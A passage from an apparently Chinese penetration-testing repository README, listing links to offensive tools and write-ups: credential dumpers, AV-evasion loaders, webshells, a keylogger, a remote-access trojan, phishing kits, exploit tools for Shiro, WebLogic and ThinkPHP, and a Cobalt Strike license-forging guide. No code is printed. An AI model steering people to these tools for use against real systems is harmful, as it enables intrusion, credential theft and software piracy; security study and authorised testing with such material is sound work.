[GitHacker---比GitHack更好用的git泄露利用脚本](https://github.com/WangYihang/GitHacker) - [SVN源代码泄露全版本Dump源码](https://github.com/admintony/svnExploit) - [多进程批量网站备份文件扫描](https://github.com/sry309/ihoneyBakFileScan) - [Empire](https://github.com/BC-SECURITY/Empire/)|相关文章:[后渗透测试神器Empire详解](https://mp.weixin.qq.com/s/xCtkoIwVomx5f8hVSoGKpA) - [FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件,目前兼容 Chrome、Firefox、Opera](https://github.com/0nise/fofa_view) - [Zoomeye Tools-一款利用Zoomeye 获取有关当前网页IP地址的各种信息(需要登录)](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj) - [360 0Kee-Team 的 crawlergo动态爬虫 结合 长亭XRAY扫描器的被动扫描功能](https://github.com/timwhitez/crawlergo_x_XRAY) - [内网神器Xerosploit-娱乐性质(端口扫描|DoS攻击|HTML代码注入|JavaScript代码注入|下载拦截和替换|嗅探攻击|DNS欺骗|图片替换|Web页面篡改|Drifnet)](https://github.com/LionSec/xerosploit) - [一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo](https://github.com/c0ny1/xxe-lab) - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration) - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521) - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel) - [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz) - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour) - [wafw00f-帮助你快速识别web应用是否使用何种WAF(扫描之前很有用)](https://github.com/EnableSecurity/wafw00f) - [Linux提取其他用户密码的工具(需要root权限)](https://github.com/huntergregal/mimipenguin) - [apache2_BackdoorMod-apache后门模块](https://github.com/VladRico/apache2_BackdoorMod) - [对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)](https://github.com/uknowsec/SharpDecryptPwd) - [一个简单探测jboss漏洞的工具](https://github.com/GGyao/jbossScan) - [一款lcx在golang下的实现-适合内网代理流量到公网,比如阿里云的机器代理到你的公网机器](https://github.com/cw1997/NATBypass) - [Cobalt Strike Aggressor 插件包](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts) - [Erebus-Cobalt Strike后渗透测试插件,包括了信息收集、权限获取、密码获取、痕迹清除等等常见的脚本插件](https://github.com/DeEpinGh0st/Erebus) - [IP/IP段资产扫描-->扫描开放端口识别运行服务部署网站-->自动化整理扫描结果-->输出可视化报表+整理结果](https://github.com/LangziFun/LangNetworkTopology3) - [A script to scan for unsecured Laravel .env files](https://github.com/tismayil/laravelN00b) - [Struts2漏洞扫描Golang版-【特点:单文件、全平台支持、可在webshell下使用】](https://github.com/x51/STS2G) - [Shiro<=1.2.4反序列化,一键检测工具](https://github.com/sv3nbeast/ShiroScan)|[Apache shiro <= 1.2.4 rememberMe 反序列化漏洞利用工具](https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE) - [完整weblogic 漏洞扫描工具修复版](https://github.com/0xn0ne/weblogicScanner) - [GitHub敏感信息泄露监控](https://github.com/FeeiCN/GSIL) - [Java安全相关的漏洞和技术demo](https://github.com/threedr3am/learnjavabug) - [在线扫描-网站基础信息获取|旁站|端口扫描|信息泄露](https://scan.top15.cn/web/) - [bayonet是一款src资产管理系统,从子域名、端口服务、漏洞、爬虫等一体化的资产管理系统](https://github.com/CTF-MissFeng/bayonet) - [内网渗透中常用的c#程序整合成cs脚本,直接内存加载](https://github.com/uknowsec/SharpToolsAggressor) - [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP) - [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|**相关文章:**[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228) - [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg) - [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna) - [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php) - [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci) - [【内网代理】毒刺(pystinger)通过webshell实现**内网SOCK4代理**,**端口映射**.](https://github.com/FunnyWolf/pystinger)|[pystinger.zip-下载](./tools/pystinger.zip) - [【内网代理】php-proxy-app-一款代理访问网站的工具](https://github.com/Athlon1600/php-proxy-app) - [get_Team_Pass-获取目标机器上的teamviewerID和密码(你需要具有有效的目标机器账号密码且目标机器445端口可以被访问(开放445端口))](https://github.com/kr1shn4murt1/get_Team_Pass/) - [chromepass-获取chrome保存的账号密码/cookies-nirsoft出品在win10+chrome 80测试OK](./tools/chromepass/)|[SharpChrome-基于.NET 2.0的开源获取chrome保存过的账号密码/cookies/history](https://github.com/djhohnstein/SharpChrome)|[ChromePasswords-开源获取chrome密码/cookies工具](https://github.com/malcomvetter/ChromePasswords) - [java-jdwp远程调试利用](https://github.com/Lz1y/jdwp-shellifier)|相关文章:[jdwp远程调试与安全](https://qsli.github.io/2018/08/12/jdwp/) - [社会工程学密码生成器,是一个利用个人信息生成密码的工具](https://github.com/zgjx6/SocialEngineeringDictionaryGenerator) - [云业CMS(yunyecms)的多处SQL注入审计分析](./books/云业CMS(yunyecms)的多处SQL注入审计分析.pdf)|[原文地址](https://xz.aliyun.com/t/7302)|[官网下载地址](http://www.yunyecms.com/index.php?m=version&c=index&a=index)|[sqlmap_yunyecms_front_sqli_tamp.py](./tools/sqlmap_yunyecms_front_sqli_tamp.py) - [www.flash.cn 的钓鱼页,中文+英文](https://github.com/r00tSe7en/Fake-flash.cn) - [织梦dedecms全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan) - [CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection) - [Dirble -快速目录扫描和爬取工具【比dirsearch和dirb更快】](https://github.com/nccgroup/dirble) - [RedRabbit - Red Team PowerShell脚本](https://github.com/securethelogs/RedRabbit) - [Pentest Tools Framework - 渗透测试工具集-适用于Linux系统](https://github.com/pikpikcu/Pentest-Tools-Framework) - [白鹿社工字典生成器,灵活与易用兼顾。](https://github.com/HongLuDianXue/BaiLu-SED-Tool) - [NodeJsScan-一款转为Nodejs进行静态代码扫描开发的工具](https://github.com/ajinabraham/NodeJsScan) - [一款国人根据poison ivy重写的远控](https://github.com/killeven/Poison-Ivy-Reload) - [NoXss-可配合burpsuite批量检测XSS](https://github.com/lwzSoviet/NoXss) - [fofa 采集脚本](https://raw.githubusercontent.com/ggg4566/SomeTools/master/fofa_search.py) - [java web 压缩文件 安全 漏洞](https://github.com/jas502n/Java-Compressed-file-security) - [可以自定义规则的密码字典生成器,支持图形界面](https://github.com/bit4woo/passmaker) - [dump lass 工具(绕过/干掉卡巴斯基)](./books/dump%20lass%20工具.pdf)|[loader.zip下载](./tools/loader.zip) - [GO语言版本的mimikatz-编译后免杀](https://github.com/vyrus001/go-mimikatz) - [CVE-2019-0708-批量检测扫描工具](./tools/cve0708.rar) - [dump lsass的工具](https://github.com/outflanknl/Dumpert)|[又一个dump lsass的工具](https://github.com/7hmA3s/dump_lsass) - [Cobalt Strike插件 - RDP日志取证&清除](https://github.com/QAX-A-Team/EventLogMaster) - [xencrypt-一款利用powershell来加密并采用Gzip/DEFLATE来绕过杀软的工具](https://github.com/the-xentropy/xencrypt) - [SessionGopher-一款采用powershell来解密Windows机器上保存的session文件,例如: WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop,支持远程加载和本地加载使用](https://github.com/Arvanaghi/SessionGopher) - [CVE-2020-0796 Local Privilege Escalation POC-python版本](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)|[CVE-2020-0796 Remote Code Execution POC](https://github.com/ZecOps/CVE-2020-0796-RCE-POC) - [Windows杀软在线对比辅助](https://github.com/r00tSe7en/get_AV) - [递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [mssqli-duet-用于mssql的sql注入脚本,使用RID爆破,从Active Directory环境中提取域用户](https://github.com/Keramas/mssqli-duet) - [【Android脱壳】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser) - [Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit_GUI) - [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md) - [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce) - [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan) - [扫描可写目录.aspx](./tools/扫描可写目录.aspx) - [PC客户端(C-S架构)渗透测试](https://github.com/theLSA/CS-checklist) - [wsltools-web扫描辅助python库](https://github.com/Symbo1/wsltools) - [struts2_check-用于识别目标网站是否采用Struts2框架开发的工具](https://github.com/coffeehb/struts2_check) - [sharpmimi.exe-免杀版mimikatz](./tools/sharpmimi.exe) - [thinkPHP代码执行批量检测工具](https://github.com/admintony/thinkPHPBatchPoc) - [pypykatz-用纯Python实现的Mimikatz](https://github.com/skelsec/pypykatz) - [Flux-Keylogger-具有Web面板的现代Javascript键盘记录器](https://github.com/LimerBoy/Flux-Keylogger) - [JSINFO-SCAN-递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [FrameScan-GUI 一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架](https://github.com/qianxiao996/FrameScan-GUI) - [SRC资产信息聚合网站](https://github.com/cckuailong/InformationGather) - [Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测](https://github.com/rabbitmask/SB-Actuator) - [JNDI 注入利用工具【Fastjson、Jackson 等相关漏洞】](https://github.com/JosephTribbianni/JNDI) - [各种反弹shell的语句集合页面](https://krober.biz/misc/reverse_shell.php) - [解密weblogic AES或DES加密方法](https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi) - [使用 sshLooterC 抓取 SSH 密码](https://github.com/mthbernardes/sshLooterC)|[相关文章](https://www.ch1ng.com/blog/208.html)|[本地版本](./books/使用sshLooterC抓取SSH密码.pdf) - [redis-rogue-server-Redis 4.x/5.x RCE](https://github.com/AdministratorGithub/redis-rogue-server) - [ew-内网穿透(跨平台)](https://github.com/idlefire/ew) - [xray-weblisten-ui-一款基于GO语言写的Xray 被动扫描管理](https://github.com/virink/xray-weblisten-ui) - [SQLEXP-SQL 注入利用工具,存在waf的情况下自定义编写tamper脚本 dump数据](https://github.com/ggg4566/SQLEXP) - [SRC资产在线管理系统 - Shots](https://github.com/broken5/Shots) - [luject:可以将动态库静态注入到指定应用程序包的工具,目前支持Android/iPhonsOS/Windows/macOS/Linux](https://github.com/lanoox/luject)|[相关文章](https://tboox.org/cn/2020/04/26/luject/) - [CursedChrome:Chrome扩展植入程序,可将受害Chrome浏览器转变为功能齐全的HTTP代理,使你能够以受害人身份浏览网站](https://github.com/mandatoryprogrammer/CursedChrome) - [pivotnacci:通过HTTP隧道进行Socks连接](https://github.com/blackarrowsec/pivotnacci) - [PHPFuck-一款适用于php7以上版本的代码混淆](https://github.com/splitline/PHPFuck)|[[PHPFuck在线版本](https://splitline.github.io/PHPFuck/) - [冰蝎 bypass open_basedir 的马](./tools/冰蝎bypass_open_basedir_shell.md) - [goproxy heroku 一键部署套装,把heroku变为免费的http(s)\socks5代理](https://github.com/snail007/goproxy-heroku) - [自己收集整理的端口、子域、账号密码、其他杂七杂八字典,用于自己使用](https://github.com/cwkiller/Pentest_Dic) - [xFTP6密码解密](./tools/xFTP6密码解密.md) - [Mars-战神TideSec出品的WDScanner的重写一款综合的漏洞扫描,资产发现/变更,域名监控/子域名挖掘,Awvs扫描,POC检测,web指纹探测、端口指纹探测、CDN探测、操作系统指纹探测、泛解析探测、WAF探测、敏感信息检测等等工具](https://github.com/TideSec/Mars) - [Shellcode Compiler:用于生成Windows 和 Linux平台的shellcode工具](https://github.com/NytroRST/ShellcodeCompiler) - [BadDNS 是一款使用 Rust 开发的使用公共 DNS 服务器进行多层子域名探测的极速工具](https://github.com/joinsec/BadDNS) - [【Android脱壳】XServer是一个用于对方法进行分析的Xposed插件](https://github.com/monkeylord/XServer)|[相关文章:Xposed+XServer无需脱壳抓取加密包](https://xz.aliyun.com/t/7669)|[使用xserver对某应用进行不脱壳抓加密包](https://blog.csdn.net/nini_boom/article/details/104400619) - [masscan_to_nmap-基于masscan和nmap的快速端口扫描和指纹识别工具](https://github.com/7dog7/masscan_to_nmap) - [Evilreg -使用Windows注册表文件的反向Shell (.Reg)](https://github.com/thelinuxchoice/evilreg) - [Shecodject工具使用python注入shellcode bypass 火絨,360,windows defender](https://github.com/TaroballzChen/Shecodject) - [Malleable-C2-Profiles-Cobalt Strike的C2隐藏配置文件相关](https://github.com/xx0hcd/Malleable-C2-Profiles)|[渗透利器Cobalt Strike - 第2篇 APT级的全面免杀与企业纵深防御体系的对抗](https://xz.aliyun.com/t/4191) - [AutoRemove-自动卸载360](https://github.com/DeEpinGh0st/AutoRemove) - [ligolo:用于渗透时反向隧道连接工具](https://github.com/sysdream/ligolo) - [RMIScout: Java RMI爆破工具](https://github.com/BishopFox/rmiscout) - [【Android脱壳】FRIDA-DEXDump-【使用Frida来进行Android脱壳】](https://github.com/hluwa/FRIDA-DEXDump) - [Donut-Shellcode生成工具](https://github.com/TheWover/donut) - [JSP-Webshells集合【2020最新bypass某云检测可用】](https://github.com/threedr3am/JSP-Webshells) - [one-scan-多合一网站指纹扫描器,轻松获取网站的 IP / DNS 服务商 / 子域名 / HTTPS 证书 / WHOIS / 开发框架 / WAF 等信息](https://github.com/Jackeriss/one-scan) - [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。](https://github.com/Adminisme/ServerScan) - [域渗透-Windows hash dump之secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)|[相关文章](https://github.com/PythonPig/PythonPig.github.io/blob/730be0e55603df96f45680c25c56ba8148052d2c/_posts/2019-07-16-Windows%20hash%20dump%E4%B9%8Bsecretsdump.md) - [WindowsVulnScan:基于主机的漏洞扫描工【类似windows-exp-suggester】](https://github.com/chroblert/WindowsVulnScan) - [基于实战沉淀下的各种弱口令字典](https://github.com/klionsec/SuperWordlist) - [SpoofWeb:一键部署HTTPS钓鱼站](https://github.com/klionsec/SpoofWeb) - [VpsEnvInstall:一键部署VPS渗透环境](https://github.com/klionsec/VpsEnvInstall) - [tangalanga:Zoom会议扫描工具](https://github.com/elcuervo/tangalanga) - [碎遮SZhe_Scan Web漏洞扫描器,基于python Flask框架,对输入的域名/IP进行全面的信息搜集,漏洞扫描,可自主添加POC](https://github.com/Cl0udG0d/SZhe_Scan) - [Taie-RedTeam-OS-泰阿安全实验室-基于XUbuntu私人订制的红蓝对抗渗透操作系统](https://github.com/taielab/Taie-RedTeam-OS) - [naiveproxy-一款用C语言编写类似于trojan的代理工具](https://github.com/klzgrad/naiveproxy) - [BrowserGhost-一个抓取浏览器密码的工具,后续会添加更多功能](https://github.com/QAX-A-Team/BrowserGhost) - [GatherInfo-渗透测试信息搜集/内网渗透信息搜集](https://github.com/Paper-Pen/GatherInfo) - [EvilPDF:一款把恶意文件嵌入在 PDF 中的工具](https://github.com/thelinuxchoice/evilpdf) - [SatanSword-红队综合渗透框架,支持web指纹识别、漏洞PoC检测、批量web信息和端口信息查询、路径扫描、批量JS查找子域名、使用google headless、协程支持、完整的日志回溯](https://github.com/Lucifer1993/SatanSword) - [Get-WeChat-DB-获取目标机器的微信数据库和密钥](https://github.com/A2kaid/Get-WeChat-DB) - [ThinkphpRCE-支持代理IP池的批量检测Thinkphp漏洞或者日志泄露的py3脚本](https://github.com/sukabuliet/ThinkphpRCE) - [fakelogonscreen-伪造(Windows)系统登录页面,截获密码](https://github.com/bitsadmin/fakelogonscreen) - [WMIHACKER-仅135端口免杀横向移动](https://github.com/360-Linton-Lab/WMIHACKER)|[使用方法以及介绍](./books/WMIHACKER(仅135端口免杀横向移动).pdf)|[横向移动工具WMIHACKER](./books/横向移动工具WMIHACKER.pdf)|[原文链接](https://www.anquanke.com/post/id/209665) - [cloud-ranges-部分公有云IP地址范围](https://github.com/pry0cc/cloud-ranges) - [sqltools_ch-sqltools2.0汉化增强版](./ttools/sqltools_ch.rar) - [railgun-poc_1.0.1.7-多功能端口扫描/爆破/漏洞利用/编码转换等](./tools/railgun-poc_1.0.1.7.zip) - [dede_funcookie.php-DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./tools/dede_funcookie.php) - [WAScan-一款功能强大的Web应用程序扫描工具【基于python开发的命令行扫描器】](https://github.com/m4ll0k/WAScan) - [Peinject_dll-CS插件之另类持久化方法-PE感染](https://github.com/m0ngo0se/Peinject_dll) - [MSSQL_BackDoor-摆脱MSSMS和 Navicat 调用执行 sp_cmdExec](https://github.com/evi1ox/MSSQL_BackDoor) - [xShock-一款针对Shellshock漏洞的利用工具【例如低版本cgi的默认配置页面进行利用】](https://github.com/capture0x/xShock/) - [tini-tools-针对红蓝对抗各个场景使用的小工具-【主要是Java写的工具】【目前有phpstudy.jar和域名转IP工具.jar】](https://github.com/sunird/tini-tools) - [code6-码小六是一款 GitHub 代码泄露监控系统,通过定期扫描 GitHub 发现代码泄露行为](https://github.com/4x99/code6) - [taowu-cobalt-strike-适用于cobalt strike3.x与cobalt strike4.x的插件](https://github.com/pandasec888/taowu-cobalt-strike) - [Weblogic-scan-Weblogic 漏洞批量扫描工具](./tools/Weblogic-scan) - [revp:反向HTTP代理,支持Linux,Windows和macOS](https://github.com/jafarlihi/revp) - [fofa2Xray-一款联合fofa与xray的自动化批量扫描工具,使用Golang编写,适用于windows与linux](https://github.com/piaolin/fofa2Xray) - [CasExp-Apereo CAS 反序列化利用工具](https://github.com/potats0/CasExp) - [C_Shot-shellcode远程加载器](https://github.com/anthemtotheego/C_Shot)|[相关文章](./books/C_shot–shellcode远程加载器.pdf) - [dz_ml_rce.py-Discuz! ml RCE漏洞利用工具](./tools/dz_ml_rce.py) - [Redis未授权访问漏洞利用工具](./tools/Redis_Exp-by_PANDA墨森.zip) - [Shiro 回显利用工具](./tools/shiroPoc-1.0-SNAPSHOT-jar-with-dependencies_20200726_130831.jar)|[相关文章](./books/Shiro_回显利用工具.pdf) - [GetIPinfo-用于寻找多网卡主机方便内网跨网段渗透避免瞎打找不到核心网](https://github.com/r35tart/GetIPinfo) - [Layer子域名挖掘机-Layer5.0 SAINTSEC](https://github.com/euphrat1ca/LayerDomainFinder) - [cve_2020_14644.jar-Weblogic 远程命令执行漏洞(CVE-2020-14644)回显利用工具](./tools/cve_2020_14644.jar) - [TechNet-Gallery-PowerShell武器库](https://github.com/MScholtes/TechNet-Gallery)|[Powershell ebserver:PowerShell实现的Web服务器,无需IIS,支持PowerShell命令执行、脚本执行、上传、下载等功能](https://github.com/MScholtes/TechNet-Gallery/tree/master/Powershell%20Webserver)|[PS2EXE-GUI:将PowerShell脚本转换为EXE文件](https://github.com/MScholtes/TechNet-Gallery/tree/master/PS2EXE-GUI) - [spybrowse:窃取指定浏览器的配置文件](https://github.com/1d8/spybrowse) - [FavFreak:执行基于favicon.ico的侦察](https://github.com/devanshbatham/FavFreak) - [gorailgun_v1.0.7-集漏洞端口扫描利用于一体的工具](./tools/gorailgun_v1.0.7.zip) - [【shell管理工具】Godzilla-哥斯拉](https://github.com/BeichenDream/Godzilla)|[AntSword-蚁剑](https://github.com/AntSwordProject)|[Behinder-冰蝎](https://github.com/rebeyond/Behinder) - [由python编写打包的Linux下自动巡检工具](./tools/linux_auto_xunjian)|[源处](https://github.com/heikanet/linux_auto_xunjian) ## <span id="head8"> 文章/书籍/教程相关</span> - [windwos权限维持系列12篇PDF](./books/Window权限维持) - [Linux 权限维持之进程注入(需要关闭ptrace)](./books/Linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E4%B9%8B%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%20%C2%AB%20%E5%80%BE%E6%97%8B%E7%9A%84%E5%8D%9A%E5%AE%A2.pdf) | [在不使用ptrace的情况下,将共享库(即任意代码)注入实时Linux进程中。(不需要关闭ptrace)](https://github.com/DavidBuchanan314/dlinject) - [44139-mysql-udf-exploitation](./books/44139-mysql-udf-exploitation.pdf) - [emlog CMS的代码审计_越权到后台getshell](./books/emlog%20CMS的代码审计_越权到后台getshell%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台注入](./books/PHPOK%205.3%20最新版前台注入%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台无限制注入(二)](./books/PHPOK%205.3%20最新版前台无限制注入(二)%20-%20先知社区.pdf) - [Thinkphp5 RCE总结](./books/Thinkphp5%20RCE总结%20_%20ChaBug安全.pdf) - [rConfig v3.9.2 RCE漏洞分析](./books/rConfig%20v3.9.2%20RCE漏洞分析.pdf) - [weiphp5.0 cms审计之exp表达式注入](./books/weiphp5.0%20cms审计之exp表达式注入%20-%20先知社区.pdf) - [zzzphp1.7.4&1.7.5到处都是sql注入](./books/zzzphp1.7.4%261.7.5到处都是sql注入.pdf) - [FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor](./books/FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor.pdf) - [zzcms 2019 版本代码审计](./books/zzcms%202019%E7%89%88%E6%9C%AC%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%20-%20%E5%85%88%E7%9F%A5%E7%A4%BE%E5%8C%BA.pdf) - [利用SQLmap 结合 OOB 技术实现音速盲注](./books/手把手带你利用SQLmap结合OOB技术实现音速盲注.pdf) - [特权提升技术总结之Windows文件服务内核篇(主要是在webshell命令行执行各种命令搜集信息)](https://xz.aliyun.com/t/7261)|[(项目留存PDF版本)](./books/特权提升技术总结之Windows文件服务内核篇%20-%20先知社区.pdf) - [WellCMS 2.0 Beta3 后台任意文件上传](./books/WellCMS%202.0%20Beta3%20后台任意文件上传.pdf) - [国外详细的CTF分析总结文章(2014-2017年)](https://github.com/ctfs) - [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇"不一样"的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码-%20奇安信A-TEAM技术博客.pdf)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) - [表达式注入.pdf](./books/表达式注入.pdf) - [WordPress ThemeREX Addons 插件安全漏洞深度分析](./books/WordPress%20ThemeREX%20Addons%20插件安全漏洞深度分析.pdf) - [通达OA文件包含&文件上传漏洞分析](./books/通达OA文件包含&文件上传漏洞分析.pdf) - [高级SQL注入:混淆和绕过](./books/高级SQL注入:混淆和绕过.pdf) - [权限维持及后门持久化技巧总结](./books/权限维持及后门持久化技巧总结.pdf) - [Windows常见的持久化后门汇总](./books/Windows常见的持久化后门汇总.pdf) - [Linux常见的持久化后门汇总](./books/Linux常见的持久化后门汇总.pdf) - [CobaltStrike4.0用户手册_中文翻译_3](./books/CobaltStrike4.0用户手册_中文翻译_3.pdf) - [Cobaltstrike 4.0之 我自己给我自己颁发license.pdf](./books/Cobaltstrike%204破解之%20我自己给我自己颁发license.pdf) - [Cobalt Strike 4.0 更新内容介绍](./books/Cobalt%20Strike%204.0%20更新内容介绍.pdf) - [Cobal_Strike_自定义OneLiner](./books/Cobal_Strike_自定义OneLiner_Evi1cg's_blog.pdf) - [cobalt strike 快速上手 [ 一 ]](./books/cobalt_strike_快速上手%5B%20一%20%5D.pdf) - [Cobalt strike3.0使用手册](./books/Cobalt_strike3.0使用手册.pdf) - [Cobalt_Strike_Spear_Phish_CS邮件钓鱼制作](./books/Cobalt_Strike_Spear_Phish_Evi1cg's%20blog%20%20CS邮件钓鱼制作.md) - [Remote NTLM relaying through CS](./books/Remote_NTLM_relaying_through_CS.pdf) - [渗透测试神器Cobalt Strike使用教程](./books/渗透测试神器Cobalt%20Strike使用教程.pdf) - [Cobalt Strike的teamserver在Windows上快速启动脚本](./books/CS_teamserver_win.md) - [ThinkPHP v6.0.0_6.0.1 任意文件操作漏洞分析](./books/ThinkPHP%20v6.0.0_6.0.1%20任意文件操作漏洞分析.pdf) - [Django_CVE-2020-9402_Geo_SQL注入分析](./books/Django_CVE-2020-9402_Geo_SQL注入分析.pdf) - [CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行](./books/CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行.pdf) - [安全狗SQL注入WAF绕过](./books/安全狗SQL注入WAF绕过.pdf) - [通过将JavaScript隐藏在PNG图片中,绕过CSP](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) - [通达OA任意文件上传_文件包含GetShell](./books/通达OA任意文件上传_文件包含GetShell.pdf) - [文件上传Bypass安全狗4.0](./books/文件上传Bypass安全狗4.0.pdf) - [SQL注入Bypass安全狗4.0](./books/SQL注入Bypass安全狗4.0.pdf) - [通过正则类SQL注入防御的绕过技巧](./books/通过正则类SQL注入防御的绕过技巧.pdf) - [MYSQL_SQL_BYPASS_WIKI-mysql注入,bypass的一些心得](https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI) - [bypass云锁注入测试](./books/bypass云锁注入测试.md) - [360webscan.php_bypass](./books/360webscan.php_bypass.pdf) - [think3.2.3_sql注入分析](./books/think3.2.3_sql注入分析.pdf) - [UEditor SSRF DNS Rebinding](./books/UEditor%20SSRF%20DNS%20Rebinding) - [PHP代码审计分段讲解](https://github.com/bowu678/php_bugs) - [京东SRC小课堂系列文章](https://github.com/xiangpasama/JDSRC-Small-Classroom) - [windows权限提升的多种方式](https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842)|[Privilege_Escalation_in_Windows_for_OSCP](./books/Privilege_Escalation_in_Windows_for_OSCP.pdf) - [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf) - [个人维护的安全知识框架,内容偏向于web](https://github.com/No-Github/1earn) - [PAM劫持SSH密码](./PAM劫持SSH密码.md) - [零组资料文库-(需要邀请注册)](https://wiki.0-sec.org/) - [redis未授权个人总结-Mature](./books/redis未授权个人总结-Mature.pdf) - [NTLM中继攻击的新方法](https://www.secureauth.com/blog/what-old-new-again-relay-attack) - [PbootCMS审计](./books/PbootCMS审计.pdf) - [De1CTF2020系列文章](https://github.com/De1ta-team/De1CTF2020) - [xss-demo-超级简单版本的XSS练习demo](https://github.com/haozi/xss-demo) - [空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透](./books/空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透.pdf) - [入门KKCMS代码审计](./books/入门KKCMS代码审计.pdf) - [SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 checklist](https://github.com/LandGrey/SpringBootVulExploit) - [文件上传突破waf总结](./books/文件上传突破waf总结.pdf) - [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872) - [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf) - [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md) - [文件上传内容检测绕过](./books/文件上传内容检测绕过.md) - [Fastjson_=1.2.47反序列化远程代码执行漏洞复现](./books/Fastjson_=1.2.47反序列化远程代码执行漏洞复现.pdf) - [【Android脱壳】_腾讯加固动态脱壳(上篇)](./books/移动安全(九)_TengXun加固动态脱壳(上篇).pdf) - [【Android脱壳】腾讯加固动态脱壳(下篇)](./books/移动安全(十)_TengXun加固动态脱壳(下篇).pdf) - [【Android脱壳】记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务](./books/记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务.pdf) - [【Android抓包】记一次APP测试的爬坑经历.pdf](./books/记一次APP测试的爬坑经历.pdf) - [完整的内网域渗透-暗月培训之项目六](./books/完整的内网域渗透-暗月培训之项目六.pdf) - [Android APP渗透测试方法大全](./books/Android%20APP渗透测试方法大全.pdf) - [App安全检测指南-V1.0](./books/App安全检测指南-V1.0.pdf) - [借github上韩国师傅的一个源码实例再次理解.htaccess的功效](./books/借github上韩国师傅的一个源码实例再次理解.htaccess的功效.pdf) - 